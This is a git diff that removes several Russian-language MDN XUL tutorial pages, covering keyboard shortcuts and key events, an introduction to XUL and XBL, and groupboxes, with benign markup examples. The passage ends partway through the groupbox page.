-<p>The menuitem's <code><code id="a-key"><a href="https://developer.mozilla.org/ru/docs/Mozilla/Tech/XUL/Атрибуты/key">key</a></code></code> attribute, which here is <code>paste-key</code> is equal to the <code>id</code> of the defined key. You can use this for additional keys as well to define keyboard shortcuts for any number of menu items.</p>
-
-<p>You'll also notice in the image that text has been placed next to the Paste menu command to indicate that Control and the V key can be pressed to invoke the menu command. This is added for you based on the modifiers on the <code>key</code> element. Keyboard shortcuts attached to menus will work even if the menu is not open.</p>
-
-<p>One additional feature of key definitions is that you can disable them easily. To do this add a <code><code id="a-disabled"><a href="https://developer.mozilla.org/ru/docs/Mozilla/Tech/XUL/Атрибуты/disabled">disabled</a></code></code> attribute to the <code>key</code> element and set it to the value <code>true</code>. This disables the keyboard shortcut so that it cannot be invoked. It is useful to change the <code>disabled</code> attribute using a script.</p>
-
-<p> </p>
-
-<div class="highlight">
-<h4 id="Our_find_files_example" name="Our_find_files_example">Our find files example</h4>
-
-<p>Let's add keyboard shortcuts to the find files dialog. We'll add four of them, one for each of the Cut, Copy, and Paste commands and also one for the Close command when the user presses Escape.</p>
-
-<pre class="eval">&lt;?xml version="1.0" encoding="utf-8"?&gt;
-&lt;window xmlns="<a class="external" href="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" rel="freelink">http://www.mozilla.org/keymaster/gat...re.is.only.xul</a>"&gt;
- &lt;keyset&gt;
- &lt;key id="cut_cmd" modifiers="accel" key="X"/&gt;
- &lt;key id="copy_cmd" modifiers="accel" key="C"/&gt;
- &lt;key id="paste_cmd" modifiers="accel" key="V"/&gt;
- &lt;key id="close_cmd" keycode="VK_ESCAPE" oncommand="window.close();"/&gt;
- &lt;/keyset&gt;</pre>
-
-<p>&lt;vbox flex="1"&gt;<br>
- &lt;toolbox&gt;<br>
- &lt;menubar id="findfiles-menubar"&gt;<br>
- &lt;menu id="file-menu" label="File" accesskey="f"&gt;<br>
- &lt;menupopup id="file-popup"&gt;<br>
- &lt;menuitem label="Open Search..." accesskey="o"/&gt;<br>
- &lt;menuitem label="Save Search..." accesskey="s"/&gt;<br>
- &lt;menuseparator/&gt;<br>
- &lt;menuitem label="Close" accesskey="c" key="close_cmd"<br>
- oncommand="window.close();"/&gt;<br>
- &lt;/menupopup&gt;<br>
- &lt;/menu&gt;<br>
- &lt;menu id="edit-menu" label="Edit" accesskey="e"&gt;<br>
- &lt;menupopup id="edit-popup"&gt;<br>
- &lt;menuitem label="Cut" accesskey="t" key="cut_cmd"/&gt;<br>
- &lt;menuitem label="Copy" accesskey="c" key="copy_cmd"/&gt;<br>
- &lt;menuitem label="Paste" accesskey="p" key="paste_cmd" disabled="true"/&gt;<br>
- &lt;/menupopup&gt;<br>
- &lt;/menu&gt;<br>
- &lt;/menubar&gt;<br>
- &lt;/toolbox&gt;<br>
- &lt;/vbox&gt;<br>
- &lt;/window&gt;</p>
-
-<p>Now we can use those shortcuts to activate the commands. Of course, the clipboard commands don't do anything anyway, as we haven't written those scripts.</p>
-</div>
-
-<h3 id="Key_Events" name="Key_Events">Key Events</h3>
-
-<p>There are three keyboard events that may be used if the key related features described above aren't suitable. These events are:</p>
-
-<dl>
- <dt>keypress</dt>
- <dd>Called when a key is pressed and released when an element has the focus. You might use this to check for allowed characters in a field.</dd>
- <dt>keydown</dt>
- <dd>Called when a key is pressed down while an element has the focus. Note that the event will be called as soon as the key is pressed, even if it hasn't been released yet.</dd>
- <dt>keyup</dt>
- <dd>Called when a key is released while an element has the focus.</dd>
-</dl>
-
-<p>Key events are only sent to the element that has the focus. Typically, this will include textboxes, buttons, checkboxes and so forth. If no element is focused, the key event will instead be targeted at the XUL document itself. In this case, you can add an event listener to the <code><code><a href="/ru/docs/Mozilla/Tech/XUL/window" title="window">window</a></code></code> tag. Normally though, if you want to respond to keys globally, you will use a keyboard shortcut as described earlier.</p>
-
-<p>The key <a href="/en/DOM/event" title="en/DOM/event">event object</a> has two properties which hold the key that was pressed. The <code><a href="/en/DOM/event.keyCode" title="en/DOM/event.keyCode">keyCode</a></code> property holds the key code and may be compared to one of the constants from the key table earlier in this section. The <code><a href="/en/DOM/event.charCode" title="en/DOM/event.charCode">charCode</a></code> is used for printable characters and will hold the numeric Unicode character code value for the key that was pressed.</p>
-
-<div class="highlight"><span id="Our_Find_files_example_so_far"><a id="Our_Find_files_example_so_far"></a><strong>Our Find files example so far</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/findfile/findfile-keyshort.xul.txt">Исходный код</a> <a href="https://developer.mozilla.org/samples/xultu/examples/findfile/findfile-keyshort.xul">Просмотреть</a></div>
-
-<p>Next, we'll find out how to <a href="/en/XUL_Tutorial/Focus_and_Selection" title="en/XUL_Tutorial/Focus_and_Selection">handle focus and the selection</a>.</p>
-
-<p></p><div class="prevnext" style="text-align: right;">
- <p><a href="/ru/docs/XUL_Tutorial/More_Event_Handlers" style="float: left;">« Предыдущая статья</a><a href="/ru/docs/XUL_Tutorial/Focus_and_Selection">Следующая статья »</a></p>
-</div><p></p>
-
-<p></p>
diff --git a/files/ru/mozilla/tech/xul/руководство_по_xul/введение/index.html b/files/ru/mozilla/tech/xul/руководство_по_xul/введение/index.html
deleted file mode 100644
index c79c3cb055..0000000000
--- a/files/ru/mozilla/tech/xul/руководство_по_xul/введение/index.html
+++ /dev/null
@@ -1,58 +0,0 @@
----
-title: Введение
-slug: Mozilla/Tech/XUL/Руководство_по_XUL/Введение
-tags:
- - Руководство_по_XUL
-translation_of: Archive/Mozilla/XUL/Tutorial/Introduction
----
-<p></p><div class="prevnext" style="text-align: right;">
- <p><a href="/ru/docs/Руководство_по_XUL:Структура_XUL">Следующая статья »</a></p>
-</div><span class="comment">TODO: нужно исправить Шаблон:Next</span><p></p>
-<p>Этот учебник является руководством для изучения <abbr title="XML User Interface Language">XUL</abbr> (XML User Interface Language) - кроссплатформенного языка для описания пользовательского интерфейса приложений.</p>
-<p>В учебнике демонстрируется создание простого интерфейса для поиска файлов, похожего на Macintosh's Sherlock или диалога поиска файлов в ОС Windows. Имейте в виду, что создается только пользовательский интерфейс с ограниченной функциональностью. Фактически, поиск файлов реализован не будет. Синяя линия слева от параграфа будет указывать места где диалог поиска файлов будет изменяться. Ниже приводится общая информация о <abbr title="XML User Interface Language">XUL</abbr>, которую при первом чтении можно пропустить.</p>
-<h3 id=".D0.A7.D1.82.D0.BE_.D1.82.D0.B0.D0.BA.D0.BE.D0.B5_XUL_.D0.B8_.D0.BF.D0.BE.D1.87.D0.B5.D0.BC.D1.83_.D0.BE.D0.BD_.D0.B1.D1.8B.D0.BB_.D1.81.D0.BE.D0.B7.D0.B4.D0.B0.D0.BD.3F" name=".D0.A7.D1.82.D0.BE_.D1.82.D0.B0.D0.BA.D0.BE.D0.B5_XUL_.D0.B8_.D0.BF.D0.BE.D1.87.D0.B5.D0.BC.D1.83_.D0.BE.D0.BD_.D0.B1.D1.8B.D0.BB_.D1.81.D0.BE.D0.B7.D0.B4.D0.B0.D0.BD.3F">Что такое XUL и почему он был создан?</h3>
-<p>XUL (произносится как "zool" и рифмуется с "cool") был создан для упрощения и ускорения разработки браузера Mozilla. Это язык на основе <abbr title="Extensible Markup Language">XML</abbr>, поэтому все преимущества имеющиеся в XML также доступны для XUL.</p>
-<p>Большинство приложений должны быть разработаны для конкретных платформ, что влечет за собой большие затраты времени и издержки. Ранее уже были разработаны кросс-платформенные решения. Например в Java главным преимуществом была переносимость. XUL является одним из таких языков, спроектированных специально для создания переносимых пользовательских интерфейсов. Java забирает много времени для создания приложений даже для одной платформы. Время затраченное на компиляцию и отладку кода может быть довольно длительным. С помощью XUL, интерфейс приложения реализовать или изменить можно быстро и легко.</p>
-<p>XUL имеет все преимущества других XML языков. К примеру XHTML или другие XML языки такие как <abbr title="Math Markup Language">MathML</abbr> или <abbr title="Scalable Vector Graphics">SVG</abbr> могут легко интегрироваться в него. Также, текст отображаемый в XUL легко локализовать, а это значит что его можно перевести на другие языки без особых усилий.</p>
-<h3 id=".D0.9A.D0.B0.D0.BA.D0.B8.D0.B5_.D0.BF.D0.BE.D0.BB.D1.8C.D0.B7.D0.BE.D0.B2.D0.B0.D1.82.D0.B5.D0.BB.D1.8C.D1.81.D0.BA.D0.B8.D0.B5_.D0.B8.D0.BD.D1.82.D0.B5.D1.80.D1.84.D0.B5.D0.B9.D1.81.D1.8B_.D0.BC.D0.BE.D0.B3.D1.83.D1.82_.D0.B1.D1.8B.D1.82.D1.8C_.D1.80.D0.B5.D0.B0.D0.BB.D0.B8.D0.B7.D0.BE.D0.B2.D0.B0.D0.BD.D1.8B_.D1.81.D1.80.D0.B5.D0.B4.D1.81.D1.82.D0.B2.D0.B0.D0.BC.D0.B8_XUL.3F" name=".D0.9A.D0.B0.D0.BA.D0.B8.D0.B5_.D0.BF.D0.BE.D0.BB.D1.8C.D0.B7.D0.BE.D0.B2.D0.B0.D1.82.D0.B5.D0.BB.D1.8C.D1.81.D0.BA.D0.B8.D0.B5_.D0.B8.D0.BD.D1.82.D0.B5.D1.80.D1.84.D0.B5.D0.B9.D1.81.D1.8B_.D0.BC.D0.BE.D0.B3.D1.83.D1.82_.D0.B1.D1.8B.D1.82.D1.8C_.D1.80.D0.B5.D0.B0.D0.BB.D0.B8.D0.B7.D0.BE.D0.B2.D0.B0.D0.BD.D1.8B_.D1.81.D1.80.D0.B5.D0.B4.D1.81.D1.82.D0.B2.D0.B0.D0.BC.D0.B8_XUL.3F">Какие пользовательские интерфейсы могут быть реализованы средствами XUL?</h3>
-<p>XUL предоставляет возможность создания большинства элементов содержащихся в современных графических интерфейсах. Элементы которые можно создать:</p>
-<ul>
- <li>Элементы ввода такие как textarea и checkbox</li>
- <li>Панели инструментов с кнопками и другим содержимым</li>
- <li>Панель меню и всплывающие меню</li>
- <li>Диалоги с вкладками</li>
- <li>Деревья для иерархического или табличного представления информации</li>
- <li>Обработку быстрых клавиш</li>
-</ul>
-<p>Выводящийся контент может быть сформирован из содержимого XUL файла или из данных в datasource. В Mozilla, такие datasources включают почтовый ящик пользователя, его закладки и результаты поиска. Содержимое меню, деревьев и других элементов может быть заполнено этими данными, либо вашими собственными данными, представленными в <abbr title="Resource Description Framework">RDF</abbr> файле.</p>
-<p>Есть несколько способов применения XUL:</p>
-<ul>
- <li>дополнение Firefox -- это дополнение, которое добавляет в браузер дополнительную функциональность, чаще в форме дополнительных панелей инструментов, контекстных меню, или изменением интерфейса браузера. Это осуществляется с использованием свойства XUL, называемого <strong>overlay</strong>, оно позволяет объединить интерфейс источника, в данном случае браузера Firefox, с интерфейсом дополнения. Дополнения также могут применяться и к другим продуктам Mozilla, таким, как Thunderbird.</li>
- <li>Автономное XULRunner-приложение -- XULRunner это упакованная версия платформы Mozilla, которая позволяет вам создавать автономные XUL приложения. Для запуска таких приложений не требуется браузер, так как они имеют собственные исполняемые файлы.</li>
- <li>XUL пакет -- создаётся точно так же, как дополнение, но действует как отдельное приложение в отдельном окне. Пакет используется, когда вам не нужны большие размеры полного XULRunner-приложения, но это не означает что для запуска приложения требуется установленный браузер Mozilla.</li>
- <li>Удалённое XUL приложение -- вы также можете размещать XUL код на веб-сервере и открывать его прямо в браузере, как любую другую веб-страницу. Этот метод является, правда, ограниченным, так как имеются проблемы безопасности из-за которых вы не сможете делать некоторые вещи, как например отрыть другое окно.</li>
-</ul>
-<p>Первые три типа требуют установки на компьютер пользователя. Эти типы приложений не имеют ограничений безопасности, к примеру они могут получать доступ к локальным файлам и читать или изменять настройки. Для дополнений, XUL файлы и связанные скрипты и картинки, должны быть упакованы в один файл, загружены и установлены пользователем. Приложения Mozilla, такие как Firefox, обеспечивают менеджер дополнений, который позволяет устанавливать дополнения без необходимости написания большого объёма сложного кода.</p>
-<p>Кроме того, можно открывать XUL файлы прямо из файловой системы или с удаленного веб-сайта, но они будут ограничены по некоторым операциям, и некоторые элементы XUL не будут функционировать. Если, несмотря на это, вы хотите загрузить содержимое XUL с удалённого веб-сайта, веб-сервер должен быть настроен соответствующим образом, т.е. он должен отправлять XUL файлы с заголовком Content-Type равным "application/vnd.mozilla.xul+xml". XUL обычно хранится в файлах с <code>.xul</code> расширением. Вы можете открыть XUL файл браузером Mozilla как любой другой файл, используя команду "Open File" из файлового меню или введя URL в строку адреса.</p>
-<h3 id=".D0.A7.D1.82.D0.BE_.D0.BD.D1.83.D0.B6.D0.BD.D0.BE_.D0.B7.D0.BD.D0.B0.D1.82.D1.8C_.D0.B4.D0.BB.D1.8F_.D0.B8.D1.81.D0.BF.D0.BE.D0.BB.D1.8C.D0.B7.D0.BE.D0.B2.D0.B0.D0.BD.D0.B8.D1.8F_.D1.8D.D1.82.D0.BE.D0.B3.D0.BE_.D1.83.D1.87.D0.B5.D0.B1.D0.BD.D0.B8.D0.BA.D0.B0.3F" name=".D0.A7.D1.82.D0.BE_.D0.BD.D1.83.D0.B6.D0.BD.D0.BE_.D0.B7.D0.BD.D0.B0.D1.82.D1.8C_.D0.B4.D0.BB.D1.8F_.D0.B8.D1.81.D0.BF.D0.BE.D0.BB.D1.8C.D0.B7.D0.BE.D0.B2.D0.B0.D0.BD.D0.B8.D1.8F_.D1.8D.D1.82.D0.BE.D0.B3.D0.BE_.D1.83.D1.87.D0.B5.D0.B1.D0.BD.D0.B8.D0.BA.D0.B0.3F">Что нужно знать для использования этого учебника?</h3>
-<p>Вам необходимо знать <abbr title="HyperText Markup Language">HTML</abbr> и, по крайней мере знать базовые понятия XML и <abbr title="Cascading Style Sheets">CSS</abbr>. Вот некоторые принципы, которые необходимо помнить:</p>
-<ul>
- <li>Элементы и атрибуты XUL должны набираться в нижнем регистре, так как XML является регистро-зависимым (в отличие от HTML).</li>
- <li>Значения атрибутов должны размещаться внутри кавычек, даже числа.</li>
- <li>XUL файлы, как правило, разбиты на четыре файла:</li>
-</ul>
-<blockquote>
- <ol>
- <li>Для компоновки и элементов</li>
- <li>Для определения стилей</li>
- <li>Для определения сущностей (используется для локализации)</li>
- <li>Для скриптов</li>
- </ol>
-</blockquote>
-<p>Кроме того, вы можете иметь дополнительные файлы для картинок или для данных определённой платформы.</p>
-<p>XUL поддерживается в программных продуктах Mozilla и в браузерах, которые основаны на движке Gecko, таких как Netscape 6 (или более поздних версий) и Mozilla Firefox. Из-за различных изменений в XUL синтаксисе, вам необходимо получить последнюю версию для примеров, чтобы они работали корректно. Большинство примеров должно работать в Mozilla 1.0 или более поздней версии. XUL достаточно одинаков в Firefox и в других браузерах, хотя у него есть существенные различия, такие, как поддержка настраиваемых панелей инструментов.</p>
-<p>В этом руководстве освещена бóльшая часть функциональности XUL, однако не все функции обсуждаются. Ознакомившись с XUL, вы можете использовать <a href="/ru/XUL_Reference" title="ru/XUL_Reference">XUL Reference</a>, чтобы узнать о других особенностях поддерживаемых элементов.</p>
-<p></p><div class="prevnext" style="text-align: right;">
- <p><a href="/ru/docs/Руководство_по_XUL/Структура_XUL">Следующая статья »</a></p>
-</div><p></p>
-<p></p>
diff --git a/files/ru/mozilla/tech/xul/руководство_по_xul/введение_в_xbl/index.html b/files/ru/mozilla/tech/xul/руководство_по_xul/введение_в_xbl/index.html
deleted file mode 100644
index a2979cadb6..0000000000
--- a/files/ru/mozilla/tech/xul/руководство_по_xul/введение_в_xbl/index.html
+++ /dev/null
@@ -1,83 +0,0 @@
----
-title: Введение в XBL
-slug: Mozilla/Tech/XUL/Руководство_по_XUL/Введение_в_XBL
-tags:
- - XBL
- - XUL_Tutorial
----
-<p>
-</p><p></p><div class="prevnext" style="text-align: right;">
- <p><a href="/ru/docs/XUL_Tutorial:Property_Files" style="float: left;">« Предыдущая статья</a><a href="/ru/docs/XUL_Tutorial:Anonymous_Content">Следующая статья »</a></p>
-</div>
-<p></p><p>У <a href="ru/XUL">XUL</a> есть родственный язык <a href="ru/XBL">XBL</a> (eXtensible Bindings Language, расширяемый язык привязок). Его используют для описания внешнего вида и поведения элементов XUL.
-</p>
-<h3 id=".D0.9F.D1.80.D0.B8.D0.B2.D1.8F.D0.B7.D0.BA.D0.B8" name=".D0.9F.D1.80.D0.B8.D0.B2.D1.8F.D0.B7.D0.BA.D0.B8"> Привязки </h3>
-<p>Вы можете использовать XUL для создания пользовательского интерфейса. <a href="ru/XUL_Tutorial/Adding_Style_Sheets">Применив стили</a>, можно настроить внешний вид элементов или <a href="ru/XUL_Tutorial/Creating_a_Skin">создать новый скин</a>. Основной вид всех элементов, таких как <a href="ru/XUL_Tutorial/Scroll_Bars">полоса прокрутки</a> и <a href="ru/XUL_Tutorial/Input_Controls#Checkboxes_and_Radio_Buttons">чекбоксы</a> можно изменить, добавив стили или атрибуты. Однако, в XUL нет средств для изменения сути работы элемента. Например, вы захотите поменять поведение полосы прокрутки. Как раз для этого нужен <a href="ru/XBL">XBL</a>.
-</p><p>Файл XBL содержит привязки. Привязка описывает поведение элементов. К примеру, привязку можно связать с полосой прокрутки. Поведение описывается свойствами и методами полосы прокрутки дополнительно к существующему описанию на XUL.
-</p><p>XUL, так же как и XBL, основан на семействе языков XML. В примере приводится основа файла XBL:
-</p>
-<pre>&lt;?xml version="1.0"?&gt;
-&lt;bindings xmlns="http://www.mozilla.org/xbl"&gt;
- &lt;binding id="binding1"&gt;
- &lt;!-- Здесь находится содержимое, свойства, методы и описание событий --&gt;
- &lt;/binding&gt;
- &lt;binding id="binding2"&gt;
- &lt;!-- Здесь находится содержимое, свойства, методы и описание событий --&gt;
- &lt;/binding&gt;
-&lt;/bindings&gt;
-</pre>
-<p>Тэг <code>bindings</code> — главный элемент файла XBL содержит один или более элементов <code>binding</code>. Каждый тэг <code>binding</code> задает одну привязку. Атрибут <code>id</code> используется для обозначения привязки, как в примере выше. Этот шаблон содежит две привязки: <code>binding1</code> и <code>binding2</code>. Первая может определять полосу прокрутки, а вторая меню. Привязку можно связывать с любым элементом XUL. Если вы используете CSS классы, можно сколько угодно применять к ним различные привязки. Note the namespace on the <code><code><a href="/ru/docs/XBL/Документация_XBL_1.0/Элементы#bindings">bindings</a></code></code> element in the template above. This declares that we are using XBL syntax.
-</p><p>You assign a binding to an element by setting the CSS property <code><a href="ru/CSS/-moz-binding">-moz-binding</a></code> to the URL of the bindings file. For example:
-</p>
-<pre>scrollbar {
- -moz-binding: url('chrome://findfile/content/findfile.xml#binding1');
-}
-</pre>
-<p>The URL points to the binding with the id 'binding1' in the file '<a class=" external" rel="freelink">chrome://findfile/content/findfile.xml</a>'. The '#binding1' syntax is used to point to a specific binding, much like how you would point to an anchor in an HTML file. You will usually put all of your bindings in a single file. The result in this example, is that all scrollbar elements will have their behavior described by the binding 'binding1'.
-</p><p>A binding has five types of things that it declares:
-</p>
-<ol><li> Content: child elements that are added to the element that the binding is bound to.
-</li><li> Properties: properties added to the element. They can be accessed through a script.
-</li><li> Methods: methods added to the element. They can be called from a script.
-</li><li> Events: events, such as mouse clicks and keypresses that the element will respond to. The binding can add scripts to provide default handling. In addition new events can be defined.
-</li><li> Style: custom style properties that the XBL defined element has.
-</li></ol>
-<h3 id="Binding_Example" name="Binding_Example"> Binding Example </h3>
-<p>The <code><code><a href="/ru/docs/Mozilla/Tech/XUL/box" title="box">box</a></code></code> is generic enough that you can use it to create custom widgets (although you can use any element, even one you make up yourself). By assigning a <code>class</code> to a <code><code><a href="/ru/docs/Mozilla/Tech/XUL/box" title="box">box</a></code></code> tag, you can associate a binding to only those boxes that belong to that class. The following example demonstrates this.
-</p>
-<pre class="eval"><b>XUL (example.xul):</b>
-
-&lt;?xml version="1.0"?&gt;
-&lt;?xml-stylesheet href="<a class=" external" rel="freelink">chrome://global/skin/</a>" type="text/css"?&gt;
-&lt;?xml-stylesheet href="<a class=" external" rel="freelink">chrome://example/skin/example.css</a>" type="text/css"?&gt;
-
-&lt;window
- xmlns="<span class="nowiki">http://www.mozilla.org/keymaster/gatekeeper/there.is.only..xul</span>"&gt;
- &lt;box class="okcancelbuttons"/&gt;
-&lt;/window&gt;
-
-<b>CSS (example.css):</b>
-
-box.okcancelbuttons {
- -moz-binding: url('<a class=" external" rel="freelink">chrome://example/skin/example.xml#okcancel'</a>);
-}
-
-<b>XBL (example.xml):</b>
-
-&lt;?xml version="1.0"?&gt;
-&lt;bindings xmlns="<span class="nowiki">http://www.mozilla.org/xbl</span>"
- xmlns:xul="<span class="nowiki">http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul</span>"&gt;
- &lt;binding id="okcancel"&gt;
- &lt;content&gt;
- &lt;xul:button label="OK"/&gt;
- &lt;xul:button label="Cancel"/&gt;
- &lt;/content&gt;
- &lt;/binding&gt;
-&lt;/bindings&gt;
-</pre>
-<p>This example creates a window with a single box. The box has been declared to have a <code>class</code> of <code>okcancelbuttons</code>. The style sheet associated with the file says that boxes with the class <code>okcancelbuttons</code> have a specialized binding, defined in the XBL file. You may use other elements besides the <code><code><a href="/ru/docs/Mozilla/Tech/XUL/box" title="box">box</a></code></code>, even your own custom tags.
-</p><p>We'll look more at the details of the XBL part in the next section. However, to summarize, it causes two buttons to be added automatically inside the box, one an OK button and the other a Cancel button.
-</p><p>In the next section, we will look at <a href="ru/XUL_Tutorial/Anonymous_Content">creating content with XBL</a>. </p><p></p><div class="prevnext" style="text-align: right;">
- <p><a href="/ru/docs/XUL_Tutorial:Property_Files" style="float: left;">« Предыдущая статья</a><a href="/ru/docs/XUL_Tutorial:Anonymous_Content">Следующая статья »</a></p>
-</div>
-<p></p>
diff --git a/files/ru/mozilla/tech/xul/руководство_по_xul/группирующие_элементы/index.html b/files/ru/mozilla/tech/xul/руководство_по_xul/группирующие_элементы/index.html
deleted file mode 100644
index 1e36b36ed8..0000000000
--- a/files/ru/mozilla/tech/xul/руководство_по_xul/группирующие_элементы/index.html
+++ /dev/null
@@ -1,76 +0,0 @@
----
-title: Группирующие элементы
-slug: Mozilla/Tech/XUL/Руководство_по_XUL/Группирующие_элементы
-tags:
- - Руководство_по_XUL
-translation_of: Archive/Mozilla/XUL/Tutorial/Groupboxes
----
-<p>
-</p><p></p><div class="prevnext" style="text-align: right;">
- <p><a href="/ru/docs/Руководство_по_XUL:Box_Model_Details" style="float: left;">« Предыдущая статья</a><a href="/ru/docs/Руководство_по_XUL:Adding_More_Elements">Следующая статья »</a></p>
-</div>
-<p></p><p>В этом разделе рассказывается, как объединять элементы с помощью группирующей рамки.
-</p>
-<h3 id=".D0.93.D1.80.D1.83.D0.BF.D0.BF.D0.B8.D1.80.D1.83.D1.8E.D1.89.D0.B0.D1.8F_.D1.80.D0.B0.D0.BC.D0.BA.D0.B0" name=".D0.93.D1.80.D1.83.D0.BF.D0.BF.D0.B8.D1.80.D1.83.D1.8E.D1.89.D0.B0.D1.8F_.D1.80.D0.B0.D0.BC.D0.BA.D0.B0"> Группирующая рамка </h3>
-<p>Язык HTML предоставляет элемент <code>fieldset</code>, с помощью которого можно объединять элементы в группы. Обычно, вокруг группы рисуется рамка, отражающая связь между элементами. Примером может служить группа из нескольких флажков. В языке XUL для тех же целей предлагается использовать элемент <code><code><a href="/ru/docs/Mozilla/Tech/XUL/groupbox" title="groupbox">groupbox</a></code></code>.
-</p><p>Как видно из названия, <code><code><a href="/ru/docs/Mozilla/Tech/XUL/groupbox" title="groupbox">groupbox</a></code></code> — ни что иное как разновидность бокса. Это значит, что элементы внутри него будут выравниваться по правилам боксов. Есть два различия между группирующей рамкой и обычными боксами:
-</p>
-<ul><li> По умолчанию вокруг нее рисуется рамка со скошенными углами. Это поведение всегда можно изменить используя CSS.
-</li><li> Группирующая рамка может содержать заголовок, который располагается над верхней границей рамки.
-</li></ul>
-<p>Так как группирующие рамки являются видом боксов, для них можно использовать атрибуты присущие обычным боксам, например <code><code id="a-orient"><a href="https://developer.mozilla.org/ru/docs/Mozilla/Tech/XUL/Атрибуты/orient">orient</a></code></code> и <code><code id="a-flex"><a href="https://developer.mozilla.org/ru/docs/Mozilla/Tech/XUL/Атрибуты/flex">flex</a></code></code>. Вы можете помещать внутрь группирующей рамки любые элементы, хотя обычно они должны быть чем-то связаны.
-</p><p>Поместить метку на верх группирующей рамки можно с помощью элемента <code><code><a href="/ru/docs/Mozilla/Tech/XUL/caption" title="caption">caption</a></code></code>. Этот элемент во многом похож на <code>legend</code> из HTML. Достаточно поместить один элемент <code><code><a href="/ru/docs/Mozilla/Tech/XUL/caption" title="caption">caption</a></code></code> в качестве первого дочернего элемента.
-</p><p>Ниже приведен простой пример группирующей рамки:
-</p>
-<h5 id=".D0.9F.D1.80.D0.B8.D0.BC.D0.B5.D1.80:_.D0.9F.D1.80.D0.BE.D1.81.D1.82.D0.B0.D1.8F_.D0.B3.D1.80.D1.83.D0.BF.D0.BF.D0.B8.D1.80.D1.83.D1.8E.D1.89.D0.B0.D1.8F_.D1.80.D0.B0.D0.BC.D0.BA.D0.B0" name=".D0.9F.D1.80.D0.B8.D0.BC.D0.B5.D1.80:_.D0.9F.D1.80.D0.BE.D1.81.D1.82.D0.B0.D1.8F_.D0.B3.D1.80.D1.83.D0.BF.D0.BF.D0.B8.D1.80.D1.83.D1.8E.D1.89.D0.B0.D1.8F_.D1.80.D0.B0.D0.BC.D0.BA.D0.B0"> Пример: Простая группирующая рамка </h5>
-<p><a href="https://developer.mozilla.org/samples/xultu/examples/ex_titledbox_1.xul.txt">Исходный код</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_titledbox_1.xul">Просмотреть</a>
-</p>
-<div class="float-right"><img alt="Image:titledbox1.png"></div>
-<pre>&lt;groupbox&gt;
- &lt;caption label="Answer"/&gt;
- &lt;description value="Banana"/&gt;
- &lt;description value="Tangerine"/&gt;
- &lt;description value="Phone Booth"/&gt;
- &lt;description value="Kiwi"/&gt;
-&lt;/groupbox&gt;
-</pre>
-<p>В результате будут выведены четыре обведенные рамкой строки с меткой <i>Answer</i>. Обратите внимание, что по умолчанию группирующая рамка выстраивает элементы вертикально, это нужно для того, чтобы получился столбец из текстовых элементов.
-</p><p>Вы так же можете добавлять в элемент <code><code><a href="/ru/docs/Mozilla/Tech/XUL/caption" title="caption">caption</a></code></code> вложенные элементы, чтобы сделать его более разнообразным. Например, панель выбора шрифта в Мозиле использует в качестве заголовка выпадающее меню. Любые другие элементы так же могут быть включены в заголовок, скорее всего вам пригодятся флажки и выпадающие списки.
-</p>
-<h5 id=".D0.93.D1.80.D1.83.D0.BF.D0.BF.D0.B8.D1.80.D1.83.D1.8E.D1.89.D0.B0.D1.8F_.D1.80.D0.B0.D0.BC.D0.BA.D0.B0_.D1.81_.D1.84.D0.BB.D0.B0.D0.B6.D0.BA.D0.BE.D0.BC_.D0.B2_.D0.B7.D0.B0.D0.B3.D0.BE.D0.BB.D0.BE.D0.B2.D0.BA.D0.B5" name=".D0.93.D1.80.D1.83.D0.BF.D0.BF.D0.B8.D1.80.D1.83.D1.8E.D1.89.D0.B0.D1.8F_.D1.80.D0.B0.D0.BC.D0.BA.D0.B0_.D1.81_.D1.84.D0.BB.D0.B0.D0.B6.D0.BA.D0.BE.D0.BC_.D0.B2_.D0.B7.D0.B0.D0.B3.D0.BE.D0.BB.D0.BE.D0.B2.D0.BA.D0.B5"> Группирующая рамка с флажком в заголовке </h5>
-<p><a href="https://developer.mozilla.org/samples/xultu/examples/ex_titledbox_2.xul.txt">Исходный код</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_titledbox_2.xul">Просмотреть</a>
-</p>
-<div class="float-right"><img alt="Image:groupbox2.png"></div>
-<pre>&lt;groupbox flex="1"&gt;
- &lt;caption&gt;
- &lt;checkbox label="Enable Backups"/&gt;
- &lt;/caption&gt;
- &lt;hbox&gt;
- &lt;label control="dir" value="Directory:"/&gt;
- &lt;textbox id="dir" flex="1"/&gt;
- &lt;/hbox&gt;
- &lt;checkbox label="Compress archived files"/&gt;
-&lt;/groupbox&gt;
-</pre>
-<p>В этом примере в качестве заголовка используется <a href="ru/XUL_Tutorial/Input_Controls#Checkboxes_and_Radio_Buttons">checkbox</a>. Можно написать скрипт, помечающий содержимое группирующей рамки активным или неактивным в зависимости от состояния флажка. На примере группирующая рамка содержит горизонтальный элемент <code><a href="/ru/docs/Mozilla/Tech/XUL/box" title="box">box</a></code> с элементами <code><a href="/ru/docs/Mozilla/Tech/XUL/label" title="label">label</a></code> и <code><a href="/ru/docs/Mozilla/Tech/XUL/textbox" title="textbox">textbox</a></code> внутри. Оба элемента <code><a href="/ru/docs/Mozilla/Tech/XUL/textbox" title="textbox">textbox</a></code> и <code><a href="/ru/docs/Mozilla/Tech/XUL/groupbox" title="groupbox">groupbox</a></code> были сделаны эластичными, и текстовое поле в результате может менять ширину вместе с окном. Дополнительный флажок появился снизу текстового поля потому, что у группирующей рамки вертикальная ориентация элементов. В следующем разделе мы добавим группирующую рамку в наше диалоговое окно поиска файлов.
-</p>
-<h3 id=".D0.93.D1.80.D1.83.D0.BF.D0.BF.D1.8B_.D1.80.D0.B0.D0.B4.D0.B8.D0.BE.D0.BA.D0.BD.D0.BE.D0.BF.D0.BE.D0.BA" name=".D0.93.D1.80.D1.83.D0.BF.D0.BF.D1.8B_.D1.80.D0.B0.D0.B4.D0.B8.D0.BE.D0.BA.D0.BD.D0.BE.D0.BF.D0.BE.D0.BA"> Группы радиокнопок </h3>
-<p>Чтобы сгруппировать несколько радиокнопок, воспользуйтесь элементом <code><code><a href="/ru/docs/Mozilla/Tech/XUL/radiogroup" title="radiogroup">radiogroup</a></code></code>. Элемент <code><code><a href="/ru/docs/Mozilla/Tech/XUL/radiogroup" title="radiogroup">radiogroup</a></code></code> является типом бокса. Вы можете помещать в него любые элементы, и все они, кроме элементов <code><code><a href="/ru/docs/Mozilla/Tech/XUL/radio" title="radio">radio</a></code></code>, будут вести себя так же, как и внутри обычных боксов.
